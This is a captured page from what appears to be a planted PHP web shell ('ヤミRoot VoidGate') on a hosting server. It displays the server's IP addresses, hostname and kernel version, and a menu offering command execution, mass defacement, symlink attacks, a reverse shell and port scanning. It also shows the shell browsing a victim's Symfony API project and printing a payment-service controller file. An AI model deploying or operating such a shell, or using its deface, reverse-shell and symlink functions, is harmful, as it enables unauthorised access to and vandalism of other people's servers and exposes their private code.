ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: PaymentServiceController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\JsonResponse; use FOS\RestBundle\Controller\Annotations as Rest; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use AppBundle\Entity\PaymentService; use Nelmio\ApiDocBundle\Annotation as Doc; class PaymentServiceController extends FOSRestController { /** * Get the list of all payment services * @Rest\Get("/paymentservices") * @Rest\View( * statusCode = JsonResponse::HTTP_OK, * SerializerGroups = {"LIST"} * ) * @Doc\ApiDoc( * section="Payment services", * resource=true, * description="Get the list of all payment services.", * ) */ public function listAction() { //TODO $paymentServices = $this ->getDoctrine() ->getRepository('AppBundle:PaymentService') ->findAll(); return $paymentServices; } /** * Create a payment service * @Rest\Post("/paymentservices") * @Rest\View( * statusCode = JsonResponse::HTTP_CREATED, * SerializerGroups = {"LIST", "TRAVEL_BOOKING_DETAILS"} *) * @ParamConverter("paymentService", converter="fos_rest.request_body") * @Doc\ApiDoc( * section="Payment services", * resource=true, * description="Create a payment service.", * ) */ public function createAction(PaymentService $paymentService) { $em = $this ->getDoctrine() ->getManager(); $em->persist($paymentService); $em->flush(); return $paymentService; } }
Coded With 💗 by
0x6ick